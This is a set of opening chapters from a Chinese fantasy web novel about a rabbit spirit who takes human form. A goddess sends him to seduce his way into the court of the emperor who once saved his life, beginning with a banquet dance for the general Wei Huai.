《我给暴君当妖妃》 1. 01 《我给暴君当妖妃》全本免费阅读 三百余年前,神山崩坠,孕育着无数鬼怪的洞渊现于尘世。 如今天下妖魔横行,在大雍国的西境,就有一座完全由精怪妖魅占据的高山,名为大荔山。 大荔山云遮雾绕,葱蔚洇润,景致秀丽幽静。执掌这座山脉的是灵狐一族,灵狐一族头脑聪慧,性情温和,庇护着山中众多的小动物和弱小的妖怪,小妖怪们也都很尊敬灵狐一族,三百年来大荔山都很和平安宁,欣欣向荣。 微风拂过,葱葱郁郁的草丛中,一只雪白的小兔子一掠而过,留下一排小爪印。 兔团生得很小,不及人的一只手掌大,浑身绒毛柔软蓬松,像朵毛茸茸的蒲公英。 他的眼睛似莹润的黑葡萄,鼻头粉嫩,爪尖也粉粉的,两只耳朵立了起来,警惕地聆听着周遭的动静。 他叫绮雪,是只兔子精,也是大荔山中最漂亮的小兔子。 但他的日子并不好过,大概是由于狐狸喜爱猎兔的天性,他经常被灵狐一族的未成年狐狸们追着跑,一旦被他们捉住,他就会挨啃,挨舔,被他们舔得兔毛湿透,整只兔的颜面荡然无存。 绮雪妖力微弱,打不过他们,只能一直跑,幸好他跑得快,十次中总有六七次能躲过去。 可今天他显然运气不佳,这才逃出捕猎圈没一会,他就又听见灵狐们的动静了。 “我闻到他的味道了,他就在附近。仔细找,别让他跑了。” “是,少主!” 为首的年轻赤狐是灵狐一族的少主桑迟,就数他最爱跟绮雪过不去,总是围猎绮雪。 绮雪趴在草丛里,盯着那条火红的狐狸尾巴,恨得直磨牙。 要不是实在打不过,他真想一口咬掉桑迟的尾巴,让他变成丑陋的无尾狐狸,看他以后还怎么神气。 但现实很残酷,别说桑迟身边还跟着这么多喽啰,他就算是单挑桑迟也不可能得胜,所以绮雪只能忍下这口气,刨了个地洞逃跑,偷偷地躲进了山顶的神祠里。 神祠清净无人,香烛静静地燃烧着,升腾起丝丝缕缕的白雾。 庄严肃穆的神像垂下眼眸,神色无悲无喜,又似垂怜万物。 她是一位女神灵,自洞渊诞生,法力强大,福泽天下妖魔,是所有妖魔的守护神。 妖魔们都信奉她,绮雪也不例外,小小的兔团努力地拖来一枚和他差不多大的果子,蹦跳着来到供案上,将果子轻轻放在银碟里。 “山阴娘娘在上,求您保佑弟子早日化出人形,这样弟子就能快点下山去找恩人了……” 兔团念念有词,很虔诚地拱着前爪朝神像拜拜。 兔族受种族所限,修道天赋不高,他修炼了足足一百年,已经是兔族中最有出息的兔,却也没能修出人形。 不过他相信勤能补拙,只要他努力修炼,总有一天他会变成人的! 绮雪祈福很久,不知不觉中枕着供果睡着了。他一直在逃跑,实在太累了,需要好好休息一下。 梦中,绮雪被萝卜包围了,他躺在萝卜山里幸福地啃啃啃,啃到一半忽然觉得很热,原来是他不小心啃到了一根伪装成萝卜的火人参。 不对……好像不只是梦,他怎么真的越来越热了? 绮雪浑身发烫地睁开眼睛,眼前雾蒙蒙的,什么都看不清。 他仿佛置身在熊熊燃烧的火炉里,烧得他头昏脑涨,难受极了。这种感觉像是生病了,绮雪吃力地从供案上跳了下来,打算去外头找点药草嚼嚼。 但他太虚弱了,说是跳供案,其实完全就是滚下来的。 绮雪摔得七荤八素,眼前直冒金星,一片朦胧中,他依稀看到自己的兔爪变成了又细又白的手指。 错觉吗?难道是他太想变成人了? 绮雪这样想着,却很快发现自己真没看错,他的前爪真的变成了人类的双手,绒毛褪去,身体抽长拉高,锦缎似的黑发自肩头滑落,发梢扫过了雪白修长的双腿。 他这是……修为已经够了,自然而然就化成人形了? 绮雪震惊地坐在供桌边,过了许久才回过神来。 他不由得惊喜万分,认为自己一定是得到了山阴娘娘的赐福,立刻笨拙地挪动着身体,跪在蒲团上,向山阴娘娘叩谢:“多谢娘娘保佑,多谢娘娘保佑……” 寂静的神祠回荡着他似山泉般清澈悦耳的声音,直到某个时刻,香烛橘黄色的火苗兀地跳动几下,染上妖冶的猩红,浩荡幽深的玄冥气息笼罩着整座大殿。 “绮雪……” 幽冷魅惑的女声轻柔地唤着绮雪的名字,打断了他的祝祷。 她莹白漂亮的手抚上他的脸颊,长长的指甲染着蔻丹,却不伤他分毫,只是细细地抚摸着他的每寸肌肤:“真美啊……” 绮雪吓了一跳,睁开眼睛,映入他眼帘的是一张妩媚的女子面容,与神像七分相似,却美过神像千百倍,正怜爱地注视着他。 她周身浮动着淡淡的雾气,身影若隐若现,如同虚幻一般,玄秘莫测。 是山阴娘娘……娘娘显灵了! 绮雪呆滞片刻,激动万分地伏身跪拜:“弟子拜见娘娘!” “不必多礼。” 山阴娘娘手指轻点,虚虚地将他扶起,她的法相近在咫尺,声音却似自遥远的天际传来,轻轻地落入绮雪的耳朵里。 “我正是为你而来,绮雪,我需要你助我一臂之力,你可愿意?” 绮雪一听山阴娘娘竟然是为了他才显灵的,立刻被冲昏了头脑,连问都不问是什么事,就激动地答应了下来:“弟子愿为娘娘赴汤蹈火,在所不辞!” 山阴娘娘轻笑一声,在他额前一点:“别急,你且看完再回答我也不迟。” 法力涌入的一刻,绮雪的脑袋里多了不少东西,也让他得以窥见了一丝天道。 原来他们的世界只是一本风月小说,书中的两个主角都是男子,未来他们会相知相爱,携手推翻大雍暴政,诛杀天子、谋夺皇位,一统整个天下。 妖魔的灭顶之灾随之降临,这两人壮大了人族的实力,几乎将妖魔赶尽杀绝,甚至山阴娘娘也被他们打回洞渊,永世封印在不见天日的黑暗中。 得知这一切之后,绮雪气得浑身发抖,对两个主角恨之入骨——不仅是为了妖魔们和山阴娘娘的遭遇,更是为了那位被诛杀的大雍天子,因为他是绮雪的救命恩人。 十几年前,他到别的山头玩,刚好遇到宫中围猎,他差点被一箭射死,是三岁的天子护住了他,他才幸免于难,得以活到今日。 可是在书中,天子却是和主角作对的大反派,他被主角一剑穿心,尸首被悬吊于城门之下,承受着百姓们扔的烂菜叶子,就连死后也要背负暴君的骂名遗臭万年。 绮雪心疼恩人,眼睛变得红红的,难过又气愤地看向山阴娘娘:“娘娘想要弟子做什么?” “好孩子。” 山阴娘娘抚摸绮雪的发顶,微微笑了起来:“我受天道限制,许多事都须交由你做。我想要你入宫,得到天子的宠爱,然后……” 她殷红似血的唇瓣缓缓吐出几个字:“将这世间搅得天翻地覆。” 绮雪怔了怔:“弟子……能行吗?” “自然可以。”山阴娘娘挑起绮雪的下巴,“你看我美吗?” “娘娘自然是极美的。”绮雪发自内心地赞美。 “你比我还要美得多。”山阴娘娘莞尔,“正是因为你如此貌美,又刚好在神祠化形,才会惊醒我这具法身。连我看了都会心动,更遑论他们……” 她凑近绮雪的耳畔,低声呢喃:“你的美貌就是你最大的倚仗,没有人会不爱你。” 山阴娘娘的法身很快消散了,离去之前,她留下了一句话,并送给绮雪几样东西。 “下山后,你去找卫淮,他是大雍的大将军,也是天子的挚友,可以帮你入宫。” 绮雪多了三根兔毛,遇到危难的时候,只要拔下一根攥在手里,山阴娘娘就会回应他。 小说被封印在了他的识海里,可以随他心意调动,想什么时候拿出来看都可以。 最后,她赐 2. 02 《我给暴君当妖妃》全本免费阅读 桑迟没想过绮雪会突然打他,整个人愣在原地,趁着他发呆的功夫,绮雪立刻变回兔团逃之夭夭,躲进了自己的兔窝里。 正所谓狡兔三窟,绮雪也有好几个兔窝,每个兔窝都被他收拾得干净整洁,铺着厚厚的干花干草,暖和又柔软,掺杂着一些草药,满是清新的草药香。 清晨采回来的野果和野菜还很新鲜,个顶个的水灵,绮雪美美地饱餐一顿,却发现桑迟他们并没有找上门来。 他还以为桑迟会找他算账呢,怎么没来,难道被他揍傻了? 兔团伸出粉粉的小舌头,舔了舔三瓣嘴,打了个饱嗝,很快将桑迟抛到脑后。 能报仇固然痛快,但还有很多重要的事情等着他做,区区一只狐狸不值得他浪费更多精力。 按照山阴娘娘传授的办法,绮雪用意念调出了小说,打算先把整本书通读一遍,了解剧情未来的走向。 很快问题来了,那就是绮雪不太识字,读不了这本书。 这本名叫《玉衡传》的小说是用人族文字撰写的,绮雪认识十几种妖族文字,也会说人族的语言,就是不太懂人族的文字,封皮上的三个字他只认识一个“玉”字。 绮雪自然不放心把小说交给别人读,唯一的方法就是他自学人族文字,慢慢地看完小说。 兔团叹了口气,将小说收回识海中,重新思考了一下自己接下来应该做什么。 首先是学会人族的常识,比如两条腿走路、穿衣服、用餐具吃饭,至少让自己看起来像个正常人,以免被怀疑身份。 然后,通过下山的考验。 大荔山的小妖怪想要下山,就必须通过灵狐一族设下的考验。 其实以前没这个规矩,但自从十几年前绮雪在外面险些丢掉小命后,山主就加上了这条规矩,确保下山的妖怪有自保之力。 最后,找到卫淮,让卫淮带他入宫。这是山阴娘娘给他指的路,肯定不会出错。 打定主意后,绮雪从窝里刨出许多珍藏的瓜子和干果,收拾出一篮子,叼着小篮子出门了。 他这次出门是为了拜访好友绿香球,绿香球是一只牡丹鹦鹉,见多识广,有许多小鸟朋友,要是拜托她替自己寻找卫淮,想来很快就会有结果。 绮雪来到鹦鹉们栖息的古树下,古木参天,上面聚集着许多色彩斑斓艳丽的小鹦鹉,看到绮雪装满瓜子的小篮子,他们都叽叽喳喳地飞了下来,争抢着吃瓜子。 “别抢,都排队。这是阿雪带给我的,我来给你们分。” 一只橘头绿尾的小鹦鹉落在篮子上,张开双翼,护着一篮子瓜子。 她就是绿香球,在族中地位很高,小鹦鹉们都听她的,闻言乖乖地排起了队,等着她给大伙分瓜子。 绿香球很快分完了瓜子,几乎没给自己留。她凑到绮雪身边,亲昵地啄了啄兔耳朵:“你怎么突然过来啦,有事吗?” 因为天天被桑迟追,绮雪不太爱出门,绿香球也知道。绮雪说明来意,拜托她寻找卫淮,仗义的绿香球一口答应下来:“没问题,保证三天内帮你找到他。” “谢谢。”绮雪道谢。 “不过,你为什么要找他呢?”绿香球问。 “我化出了人形,这就准备下山了。”绮雪说,“卫淮可以帮我入宫。” “哇!” 绿香球扑棱着翅膀,兴奋地说:“你有人形啦?快给我看看!” “但是我还变不出衣服。” 绮雪说着,再次化为人形,他赤.裸着身体,倒是也没任何羞耻感,毕竟他又不是真的人族,不讲他们的那套礼义廉耻。 在绮雪变成人的刹那,遮天蔽日的古木一下子炸了,小鹦鹉们尖叫着赞叹他惊世的美貌,甚至有几只当即从树上摔了下来,被他迷晕了。 山中从来没有这样喧闹过,也正是因为这群小鸟的多嘴多舌,绮雪化形成绝色大美人的消息很快传遍了整座大荔山,不少妖怪慕名前来,就为了看一看绮雪究竟有多美。 绮雪不堪其扰,整天躲在兔窝里不出来,练习用两条腿走路,看书研究人族常识,顺便学习最简单的人族文字。 三天很快过去,绿香球带回了消息,很巧的是,卫淮就在附近,离大荔山不过百余里路,率领一支万人铁骑驻扎军营,扫荡青郡界内穷凶极恶的食人妖魔。 “听说他们再待几日就要离开青郡了。” 绿香球说:“要是你想见卫淮,一定要尽快通过考验,不然他就走了。” “我明天就去找长老。”绮雪信心满满,“应该没什么问题。” 下山的考验并不算难,只有化成人形或是拥有自保之力的妖怪才能参加,主要就是考常识和如何应对捉妖道士,绮雪自认为准备很充分,肯定能拿个好名次。 翌日。 绮雪和十几个妖族一同聚集在山腰处的老宅中,这里就是他们的考场,由于山中妖物众多,总有人需要下山,考验每天都会进行一次。 平日都是三位灵狐族的长老负责校考,但今天不太一样,其中一位考官换了人。 看到那张熟悉的可憎面孔,绮雪的兔毛瞬间炸了:“怎么是你啊?” 少年模样的桑迟翘着腿坐在上首,闻言露出狡黠的笑意:“我是狐族少主,自然有做考官的资格,想来就来了。你猜我会不会让你通过考试?” 兔团气得直跺脚,只想撕烂他这张俊脸,这红毛狐狸分明就是为了公报私仇才会做考官,他肯定会给他使绊子,不让他通过考试的! 考试很快开始了,第一场考试是化人形和穿衣服。 考官为每个考生准备了小房间,里面放着他们要换的衣服,绮雪走进自己的房间,发现床上放着一套极为繁复的女子衣裙,还有配套的金钗玉簪和胭脂水粉。 女子的装扮显然要比男子复杂许多,绮雪用兔尾巴想也知道这是桑迟有意刁难他。 不幸的是,他确实没有研究过该如何作女子装扮,连裙子都穿不好,最后他垂头丧气地离开了老宅,直到走出大门,还能听到身后传来桑迟的笑声。 但绮雪心性坚定,绝不会就此放弃,他连夜钻研了全部有关女子的常识,转日再次参加了考试。 和绮雪要好的众多小妖怪聚集在老宅前,为绮雪鼓气:“阿雪,我们都相信你,你一定可以通过考试的!” 就连平时总是追逐绮雪的小灵狐们也劝桑迟:“少主,你别为难阿雪了,难道你还打算让他次次不过考试吗?” “我就是要让他次次不过又如何?” 桑迟沉下脸,盯着被小动物们簇拥的兔团:“你们根本不懂人间的混乱残酷,像他这样的笨兔子,下山会被人吃得连骨头都不剩。” 他就是为了阻拦绮雪下山,才央求父亲设立下山的考试,无论如何,他都不想再一次听到绮雪重伤濒死的噩耗。 今天只有绮雪参加考试,考官也只有桑迟一个,几位长老没来,他们实在不忍昧着良心刁难绮雪。 绮雪才一进门,桑迟就冷冷地说:“右脚先跨过门槛,不合格。” 兔团无视了他这句话,蹦到桌上翻开考题,和昨天一样,还是化人形和换衣服。 桑迟一拍桌子:“我说你不合格,你没长耳朵吗?” < 3. 03 《我给暴君当妖妃》全本免费阅读 今天只有桑迟校考绮雪,得到他的准许,这场考试就算是绮雪过了,只要他想,随时都可以下山。 桑迟显然有些后悔,扣住绮雪的手腕追问:“你答应我的都是真的吗?报了恩就回来,再也不下山了?” 绮雪面露轻蔑之色,甩开桑迟的手,对他用完就丢:“你是我爹吗,什么时候轮到你对我管东管西的,你算老几?” 说完,他也不管桑迟作何反应,径直推门而出。 他费尽力气打扮得这么漂亮,不出去给大家看看就可惜了,也省得他们总是好奇他的人形是什么样子。 绮雪走到老宅门口,在原地转了个圈,让裙摆飘扬起来,朝小动物们抛了个媚眼:“我漂亮吧?” 自然而然地,迎接绮雪的又是数不清的尖叫和赞叹,面对小动物们痴迷的眼神和溢美之词,绮雪更来劲了,抬手就要解裙子:“我的身体更漂亮,这就脱光了给你们看看……” “别丢人现眼了!” 桑迟黑着脸冲了出来,将绮雪拦腰抱起,无视他的挣扎,强行将他抱回了屋子。 傍晚。 绮雪决定明天一早就下山,这一趟还不知要去多久,所以他今晚的任务就是整理好几个兔窝里存放的家当。 吃的喝的全都送给朋友了,玩具分给族中小辈,几摞书册都被他仔仔细细地用油布包好,藏到干草中间,防潮又防虫。 包好最后一本书,时辰已经不早了,兔团翘起屁股,尾巴一抖一抖的,前爪舒展地伸了个懒腰,这就准备睡了。 忽然洞外的草丛窸窸窣窣地响了起来,传来一串脚步声,紧接着就是桑迟的声音:“绮雪,我知道你在里面,出来。” 兔团懒洋洋地摊在干草上,扁平的身体像张软乎乎的兔饼,懒得搭理桑迟。 桑迟等候片刻,见绮雪假装不在,又说了一句:“我不想找你麻烦,就是有东西送给你,你不想要就扔了吧。” 赤狐将叼来的令牌往洞口推了推,转身就要离开,兔团探头探脑地钻出半个身体,定睛往地上一看:“这是你的少主令牌?你要送给我?” 绮雪认识这块黑色令牌,乃是由玄铁打造,象征着灵狐少主的身份,见到令牌,大荔山的妖物和灵狐一族都须听令,其贵重无需多言,可是桑迟竟然要把令牌送给自己? “你是真的昏了头了。”绮雪说,“就算贪图我的美色,也不能把令牌送给我吧,你爹肯定会打死你的。” “谁贪图你的美色了,我有那么饥渴吗?”桑迟气道,“我就是……不想你死在外面,要是遇上什么难事,你就拿这块令牌找人帮忙,别自己逞强。” 绮雪狐疑地望着他:“你有这么好心?” 桑迟冷哼:“我不是好心,只是觉得你死了,我就没人可以欺负了。” “好吧。”绮雪将令牌拖进兔窝,“我就勉为其难地收下了。” “你收好啊!别弄丢了。” 桑迟不太放心地嘱咐,其实绮雪有句话说对了,是他自己擅作主张将令牌送给绮雪的,要是令牌没了,他爹真的会让他跟着令牌一起去了。 “放心吧。”绮雪点头,对桑迟的态度好了那么一点。 “还有就是……”桑迟犹豫一下,晃了晃火红的尾巴,“这块令牌有传音功效,要是你想和我说话,就握住令牌在心里默念我的名字,我就能听到你叫我。” 兔团咂咂嘴:“听起来一点用处也没有嘛,我怎么可能想和你说话。” 桑迟:“……” 兔团:“还有别的事吗?” “没了!”桑迟生气地离开了。 翌日清晨。 绮雪化成人形,成功变出雪白的衣衫,戴上白纱帷帽,背着包袱从家里出发了。 绿香球站在他的肩上,随他一起下山,这是山主的吩咐,绮雪已经有好多年不曾下山了,外面的世界变得愈发危险,他一个人恐怕应付不来,还是让经验丰富的绿香球陪他一段时间更安全。 小动物们站在山路两侧,目送绮雪远去,桑迟则暗暗地跟了绮雪一路,直到他走出大荔山的边界,才终于停下脚步。 跟班欲言又止,欲止又言:“少主,你怎么哭了……” “多嘴!” 桑迟抹了把脸,变回赤狐的模样,头也不回地蹿进了山谷里。 绮雪走出大荔山的边界后,面前是一条很平坦的大路,他想了想,很高兴地问绿香球:“这是通往沽水镇的路吧?” “是的呀。”绿香球叽叽喳喳,“我还记得以前咱们两个一起去镇子里偷瓜子吃,不过……”她顿了顿,语气变得低落起来,“如今的镇子变了很多,已经不是你记忆里的样子了。” “十几年了嘛,变了也正常,但是咱们还没变。” 绮雪听出她情绪不高,宽慰着她,脚步轻盈地踏上大路。 兔族赶路是很快的,比起坐马车慢不了多少,走了约莫两个时辰,他到达沽水镇,这才明白绿香球为什么会难过。 在他的记忆里,沽水镇是个挺繁华的大镇,可现在这里变得非常荒凉破败,如果不是还能看到几个镇民,这里根本就不像是活人的聚集地,更像是一座空荡荡的鬼镇。 绮雪还发现,这些镇民要么是老人,要么就身患残疾,完全见不到孩子和强壮的年轻人,这让他意识到这些镇民可能是被人抛下的,有能力离开镇子的人早就搬走了。 他问绿香球:“这是怎么回事?” 绿香球沉重地说:“你知道的,青郡是大雍的边境,那些食人妖魔每隔几个月就会邻国入侵这里。” “沽水镇的情况还不算是最差的,不少小国甚至已经被食人妖魔吃空了,它们没有食物,自然会铤而走险入侵大雍,遭难的便是边境的普通百姓。” 绮雪闻言,心里也不是滋味,虽然他们这些妖族也是妖魔的分支,但他从来没有把食人妖魔当成同类。 食人妖魔通常灵智很低,嗜血暴虐,以人类为食,以虐杀弱小的妖物为乐,绮雪下山后,所要面临的最大威胁就是它们。 此外还有捉妖道士,有些道士不分妖魔的善恶,遇到就杀,也很危险。 绮雪找老人买了 4. 04 《我给暴君当妖妃》全本免费阅读 青郡地处大雍边境,常有妖魔之祸,凡是略有财力的百姓,都纷纷居家迁徙,逃往没有妖魔的地方,这么多年下来,当地就只剩下三成编户了,民生凋敝,农田也荒废大半,找不到人来耕种。 所以对于小国逃难而来的灾民,青郡基本来者不拒,他们最缺的就是人。 绮雪顺利地混入城中,被官差领到官府登记造册,记录身份是第一步,官府会给灾民发放临时的照身帖,并安排住处和合适的做工,对年老体衰者也会专门有照拂,不会让他们饿死在街头。 官府里聚集着不少难民,小吏数了数人头,说道:“会讲大雍官话的来左边,不会讲的到右边去。” 绮雪会讲的人族语言就是大雍官话,便站到了左边,左边人少,他一下子显眼了许多。 小吏上下打量他一眼,指了指房后:“那边有水井,去洗把脸,瞧你身上脏的,都看不清长什么样子了,一会还怎么记照身帖。” 绮雪乖乖地找到房后的水井,打水将脸洗干净,他洗得很慢,小吏等得不耐烦了,就来房后找他:“你怎么——怎、怎么……” 话说到一半,他看清了绮雪洗净的脸,瞬间呆滞了。 他从未见过如此绮艳的美人,竟是这般肌肤盈光,眼波横秀,眉眼秀澈如秋水芙蓉,似仙露明珠。 纵使衣衫蓝缕,却丝毫不损他的仙姿玉色,正如明月东升,光照映人,足以教人忘却晦暝的天地。 他太美了,以至于小吏以为自己在做梦,或是遇见了下凡的仙子,整个人如坠迷梦,表情显得很恍惚。 但是过了许久,绮雪还没消失,眼神疑惑地看着他,小吏这才终于如梦初醒,确信眼前人不是虚妄的幻影,连忙跌跌撞撞地去前面叫人。 “快、快去禀告太守大人,他要找的美人找到了!” 听到小吏的呼喊,绮雪露出满意的微笑,他要的就是这个效果。 去太守府自荐也不是不行,但终究不如由他们自己发现来得震撼,亲手挖掘到的蒙尘明珠才是最美的,他们会认为自己捡到了宝,倍加重视他、珍惜他,他接近卫淮也就越顺利。 青郡太守姓徐,徐太守听完手下禀报,连忙派亲信去迎接绮雪。 要是可以,他甚至想亲自过去看看,怎奈郡中事务太多,实在分.身乏术,只得在太守府等候。 亲信来到官府的时候,负责登记照身帖的官吏正冥思苦想该如何描述绮雪的外貌,感觉无论用什么辞藻都配不上绮雪,看他的意思,他大概是想默一首《洛神赋》上去。 官府为绮雪准备了浴桶和干净的衣服,绮雪梳洗过后见到了徐太守的亲信,亲信自然也是万分惊艳,客客气气地请绮雪上了马车,将他带回到太守府。 徐太守在前厅等着绮雪,其实以绮雪的身份,还轮不到被徐太守这样的地方大吏接见,但徐太守太需要这样一位美人帮他渡过难关了,如若不然,丢掉官职事小,他全家老小的性命说不定也要搭进去。 一想到卫淮,再一想到那漫山遍野的尸骸和冲天的血腥之气,徐太守就发自内心地胆寒,强迫自己忘掉那副地狱般的画面。 “大人,绮公子到了。” 守卫前来禀告,徐太守抬手整理好衣襟,起身走到门口:“知道了。” 徐太守半生在官场沉浮,见过的美人不知凡几,然而在见到绮雪的一刹那,他与所有的凡夫俗子没什么不同,皆为那皎皎明月般的美貌所折服。 但惊艳之余,徐太守心中更多的是惋惜、是惭愧,他内疚于自己竟要把这样的绝代佳人献给卫淮,这和残害人命有什么区别,何况还是这样美的…… 绮雪惊讶地看到这位清瘦威严的老者竟突然老泪纵横,不得不以袖拭面,难道是被他美哭了?应该不太可能,不然也太夸张了。 “还请公子受老夫一拜。” 徐太守深深地俯首作揖,绮雪想了想人族的礼仪,立刻搀扶起他:“大人为何行此大礼?” “盖因老夫有个不情之请,还请公子稍坐,听老夫慢慢道来。” 徐太守请绮雪落座,下仆奉上茶点,绮雪看到点心漂亮可口,忍不住捻起一枚咬了一口,徐太守微愣,连道是自己疏忽了,吩咐后厨立刻为绮雪准备一桌好菜。 “我不食荤腥,素菜就可以了。”绮雪补充。 他这样的大美人只吃素食就显得很正常,仙子么,总是要和凡人有区别的,他就是只吃蜂蜜只饮露水也不奇怪。 徐太守断定绮雪的出身非富即贵,哪怕沦为灾民,肌肤也还如绸缎般细腻,饮食也颇为精细挑剔,只是他还看不出绮雪是哪里人,这一口大雍官话讲得比他还标准。 不过徐太守不是很在乎绮雪的出身,总归不可能是别国的奸细,邻近青郡的小国都基本灭国了,哪有余力在大雍安插眼线,再说绮雪长得这么我见犹怜,实在不像什么坏人。 后厨很快上了一桌子素菜,见绮雪吃得开心,徐太守放心不少,讲了他想拜托绮雪的事,大概就是在宴席上陪伴大将军卫淮,讨他欢心,减免青郡所要承担的军饷和赋税。 他讲得比较含蓄,没有直言就是要把绮雪送给卫淮,但也并非有意欺骗,该有的意思还是传达到了,这也正是绮雪想要的。 “大人尽管放心。”绮雪甜甜一笑,“我会尽力而为,让卫将军喜欢上我。” 然后带他去上京。 得到他这句承诺,徐太守长舒一口气,再次起身朝绮雪拜谢:“老夫代全郡百姓谢过绮公子,一切都要仰仗公子了。” 当晚,徐太守亲笔写下一封请帖,帖中写到他已在太守府中备好美酒宴席,邀请卫淮明晚赴宴。 请帖送到军营,卫淮很痛快地答应了,回信自己明晚一定会准时赴约。 翌日,申末时分,青郡大大小小的官员早已齐聚太守府,恭迎大将军卫淮的到来。 府邸上下一片肃静冷清,直至酉初,也就是请帖中提及的时辰,沉重的脚步声和冷铁铮铮的碰撞声在寂静的街道骤然回响起来。 猛兽发出可怖的吐息和咆哮,血腥味愈发浓郁,数十头凶恶狰狞的妖兽昂首走向太守府,每一头妖兽的脊背上都驮着身披坚甲的亲卫,个个煞气逼人。 他们就是大名鼎鼎的诸怀卫,大将军卫淮的亲兵。 由诸怀卫开路,被他们前呼后拥的年轻男人自然就是卫淮。 卫淮生得极为英俊,眉眼间常含笑意,意气飞扬,风流而多情。他头饰银冠,脚踏乌靴,身穿赤色常服,通身贵气,不像 5.05 《我给暴君当妖妃》全本免费阅读 舞曲名为《青丘》,取自青丘狐族之名,所描绘的是狐狸拜月的场景,曲调灵动、梦幻,又含有几分魅惑,正是绮雪为今晚挑选的舞曲。 他不擅长舞蹈,这是他唯一会跳的舞,也是因为看灵狐一族跳过太多遍才记住的。 每逢满月,月华最盛之时,灵狐一族无论男女老少,都会化为人形对月起舞,这是他们修炼的方式,通过跳舞可以吸收月华,对修炼大有裨益。 《青丘》是他们的传统曲目,跳的次数也最多,绮雪每个满月都去围观,以兔团的模样跟着比划,虽然笨笨的,但只要是对修炼有好处的他都想学,他是一只勤奋的兔子。 舞曲的动作他早已烂熟于心,为了尽善尽美,昨夜他还联络了桑迟,请他指导自己跳舞。 桑迟嘲笑他笨手笨脚,好在还算尽责,陪他练了大半宿。练到最后,绮雪总算满意了,这才允许桑迟睡觉:“行了,用不着你了。” “别忘了你答应我的好处,等你回来我要看你跳舞。”桑迟说。 绮雪没理会,将令牌扔到一边,扭头就忘掉了自己的承诺,甚至是桑迟这个人。 直到宴会开始之前,绮雪都觉得自己应该不会出什么问题,凡是能想到的他都做了,可此刻与卫淮相见,他竟毛骨悚然得差点扔了扇子,只想立即从这里逃出去。 小动物的感知是很敏锐的。 哪怕隔着扇子,看不见卫淮,绮雪也可以感受到他身上极度危险的气息。 那是常年杀戮、沾染过无数鲜血的味道,这股血煞之气太过浓重,仿佛不是活人,而是由尸山血海堆砌而成的血肉怪物,表面披着丰神俊朗的人皮。 绮雪执扇的双手微微颤抖着,但他绝不容许自己退缩,只是深吸口气,就将恐惧压在心底,缓缓落下檀香扇,露出既清且媚的双眸。 他的眼眸乌黑,却温柔明澈,似藏着盈盈秋水,流淌着醉人的波光。甚至无须对视,只消他柔媚的眼风扫过,便足以使人心摇神荡。 琵琶声响,绮雪优雅地舒展开四肢,足尖轻点,手腕微旋,应着拍子“啪”地合上檀香扇。 他蓦然抬首,露出清艳的面容,眼神如狐妖般妩媚,含情脉脉地望向主位上的卫淮。 狐狸拜月,自然要看向月亮,绮雪跳舞时,他的目光始终落在卫淮身上,既仰慕又深情,仿佛坐在那里的就是他的明月、他的神祗。 绮雪露出真容的刹那,几乎所有人都看得痴了,甚至舞曲也凝滞了片刻,乐师受他的美貌蛊惑,忘记了演奏。 他们无法想象卫淮此时是何等感受,只是他们自己,单是被绮雪扫过一眼,就被媚得从头酥到了脚。 偏偏脑子里又是轻飘飘、晕乎乎的,好似喝了迷魂汤,魂都被勾了半条去,牢牢攥在绮雪手里,剩下的半条也只知将眼神黏在绮雪身上。 琵琶声断断续续地接上,弹到最缠绵旖旎处,绮雪屈膝跪坐,仰望卫淮,将檀香扇平展,轻柔地上下摇动,似是蛊惑,似是引诱,仿佛要将明月诱惑得从天上坠下来。 当真有年轻的官员被勾了魂,浑然忘我地起身,又被同僚揪了回去。 卫淮不动,也不说话,但他的的确确凝视着绮雪,不曾移开目光。 绮雪眉眼弯弯,轻吻扇面,轻灵地起身向上首走去,却在离卫淮还有几步之遥时,又飘然远去,纱衣的下摆飘扬起来,似美丽的青莲绽放。 他如若真正的月下狐,灵慧而狡捷,穿梭在宴席之间。 被他勾魂夺魄的人妄想勾住他的衣摆,向他伸手,被他灵活地躲过,只留下魅人的香气。 未受他蛊惑的人头颅低垂,他却轻佻地用扇子勾起对方的下颌,一定要得到他们的迷恋才甘心。 琵琶声越发急促,迎来乐曲的高.潮,绮雪的舞步也越跳越快,一圈又一圈地旋转着,腰带上的银坠飘荡起来,银辉摇荡,流光四溢,美到了极致。 他再次接近卫淮,这一次却是真的走到卫淮身边,依偎着他的腿跪坐下来,脸颊贴住他的大腿,楚楚可怜地祈求他的垂爱。 卫淮垂下眼睛看着他,不扶他起来,也不赶他走。 他从桌上取来自己的酒杯,斟了满满一杯酒,喂到绮雪唇边。 绮雪乖乖地叼住酒杯的边沿,大着胆子攀上卫淮的膝盖,缓缓起身,坐到他的大腿上,叼着酒杯凑近他的脸孔,邀请他和自己共饮杯中之酒。 他们呼吸交融,面颊几乎贴在一起,绮雪感觉到卫淮的手扣住了他的后腰,而后骤然施力—— “铛!” 清越的琵琶骤然急停,与最后一声顿音同时响起的是金石撞击的声音。 徐太守错愕地望着上首,只见卫淮竟突然抽出短刀,敲碎了绮雪口衔的酒杯,锋利的刀刃也抵在了绮雪的喉咙上。 “滴答、滴答……” 酒杯碎片洒落满地,酒水顺着绮雪的衣襟流淌下来,雪亮的刀身映出了绮雪苍白的脸。 卫淮笑道:“跳得不错,但我已经看够了。” 听闻此言,徐太守顿时急火攻心,险些昏厥过去。 完了,这下全完了,卫淮竟然真的对绮雪毫不动心,不仅他这个太守算是做到头了,就连绮雪的小命也要搭进去了! 至少、至少……他就是拼上自 6.06 《我给暴君当妖妃》全本免费阅读 得到卫淮的许诺,徐太守有些发愣,他也想不通卫淮为什么突然转变了态度,但好像又理应如此,绮雪长得这么美,怎么可能有人不喜欢他,那还算是人么。 惊诧之余,徐太守唯有狂喜,卫淮这一句可以算得上是重诺了,他是给他开了一张空银票,任他书写啊! “下官明白、下官明白,多谢卫将军……” 在徐太守连连的恭送声中,卫淮带着绮雪离开太守府,回到了郊外的军营。 一路上,绮雪都乖巧地缩在卫淮的臂弯里,一动不动的——倒不是他有意装乖,而是他们身下骑了一头白虎,他真的不敢动…… 一进军营,绮雪就更紧张了,被大型妖兽的气息震慑得喘不上气来,待在这里对他而言是种折磨,但为了进宫见到天子,再难受他也能忍着。 卫淮抱着绮雪,轻松地从白虎背上一跃而下,营中军士皆行跪拜之礼,恭迎将军回营,就连凶猛的妖兽也纷纷趴伏在地上,低垂下头颅,不敢有任何放肆之举。 “都起来吧。” 卫淮笑笑,抱着绮雪一路走进将军幄帐,这才将他放了下来,低头轻吻他的唇瓣:“你先去沐浴。” 屏风后面放着浴桶,装满了热水,水面升腾起一层淡淡的白雾。 